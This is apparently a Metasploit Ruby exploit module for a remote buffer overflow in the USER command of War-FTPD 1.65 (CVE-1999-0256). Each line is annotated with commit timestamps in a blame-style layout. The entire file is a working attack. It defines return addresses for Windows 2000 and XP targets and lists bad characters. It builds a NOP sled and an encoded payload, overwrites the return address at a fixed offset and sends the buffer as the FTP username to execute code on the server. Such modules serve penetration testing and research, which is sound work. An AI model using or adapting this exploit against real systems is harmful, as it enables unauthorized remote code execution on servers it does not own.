2005-11-26 00:04:26 +00:00
|
|
|
require 'msf/core'
|
2005-11-11 01:22:03 +00:00
|
|
|
|
|
|
|
module Msf
|
|
|
|
|
2006-12-13 05:46:13 +00:00
|
|
|
class Exploits::Windows::Ftp::WarFtpd165User < Msf::Exploit::Remote
|
2005-11-11 01:22:03 +00:00
|
|
|
|
|
|
|
include Exploit::Remote::Ftp
|
|
|
|
|
|
|
|
def initialize(info = {})
|
|
|
|
super(update_info(info,
|
2005-11-24 03:46:53 +00:00
|
|
|
'Name' => 'War-FTPD 1.65 Username Overflow',
|
2005-11-11 01:22:03 +00:00
|
|
|
'Description' => %q{
|
|
|
|
This module exploits a buffer overflow found in the USER command
|
2005-11-24 17:41:32 +00:00
|
|
|
of War-FTPD 1.65.
|
2005-11-11 01:22:03 +00:00
|
|
|
},
|
2005-11-13 18:35:44 +00:00
|
|
|
'Author' => 'Fairuzan Roslan <riaf [at] mysec.org>',
|
2006-05-06 16:34:39 +00:00
|
|
|
'License' => BSD_LICENSE,
|
2005-11-11 01:22:03 +00:00
|
|
|
'Version' => '$Revision$',
|
|
|
|
'References' =>
|
|
|
|
[
|
2006-11-28 17:18:43 +00:00
|
|
|
[ 'BID', '10078' ],
|
|
|
|
[ 'CVE', '1999-0256'],
|
2005-11-11 01:22:03 +00:00
|
|
|
[ 'OSVDB', '875' ],
|
|
|
|
[ 'MIL', '75' ],
|
|
|
|
[ 'URL', 'http://lists.insecure.org/lists/bugtraq/1998/Feb/0014.html' ],
|
|
|
|
],
|
|
|
|
'DefaultOptions' =>
|
|
|
|
{
|
|
|
|
'EXITFUNC' => 'process'
|
|
|
|
},
|
|
|
|
'Payload' =>
|
|
|
|
{
|
|
|
|
'Space' => 424,
|
|
|
|
'BadChars' => "\x00\x0a\x0d\x40",
|
|
|
|
'StackAdjustment' => -3500,
|
|
|
|
'Compat' =>
|
|
|
|
{
|
|
|
|
'ConnectionType' => "-find"
|
|
|
|
}
|
|
|
|
},
|
|
|
|
'Targets' =>
|
|
|
|
[
|
|
|
|
# Target 0
|
|
|
|
[
|
|
|
|
'Windows 2000 SP0-SP4 English',
|
|
|
|
{
|
|
|
|
'Platform' => 'win',
|
|
|
|
'Ret' => 0x750231e2 # ws2help.dll
|
|
|
|
},
|
|
|
|
],
|
|
|
|
# Target 1
|
|
|
|
[
|
|
|
|
'Windows XP SP0-SP1 English',
|
|
|
|
{
|
|
|
|
'Platform' => 'win',
|
|
|
|
'Ret' => 0x71ab1d54 # push esp, ret
|
|
|
|
}
|
|
|
|
],
|
|
|
|
# Target 2
|
|
|
|
[
|
|
|
|
'Windows XP SP2 English',
|
|
|
|
{
|
|
|
|
'Platform' => 'win',
|
|
|
|
'Ret' => 0x71ab9372 # push esp, ret
|
|
|
|
}
|
|
|
|
]
|
2005-11-11 01:50:05 +00:00
|
|
|
]))
|
2005-11-11 01:22:03 +00:00
|
|
|
end
|
|
|
|
|
|
|
|
def exploit
|
|
|
|
connect
|
|
|
|
|
|
|
|
print_status("Trying target #{target.name}...")
|
|
|
|
|
|
|
|
buf = make_nops(600) + payload.encoded
|
2005-11-24 18:30:56 +00:00
|
|
|
buf[485, 4] = [ target.ret ].pack('V')
|
2005-11-11 01:22:03 +00:00
|
|
|
|
2005-11-24 17:41:32 +00:00
|
|
|
send_cmd( ['USER', buf] , false )
|
2005-11-11 01:22:03 +00:00
|
|
|
|
|
|
|
|
|
|
|
handler
|
2006-01-08 14:27:59 +00:00
|
|
|
disconnect
|
2005-11-11 01:22:03 +00:00
|
|
|
end
|
|
|
|
|
|
|
|
end
|
|
|
|
|
|
|
|
end
|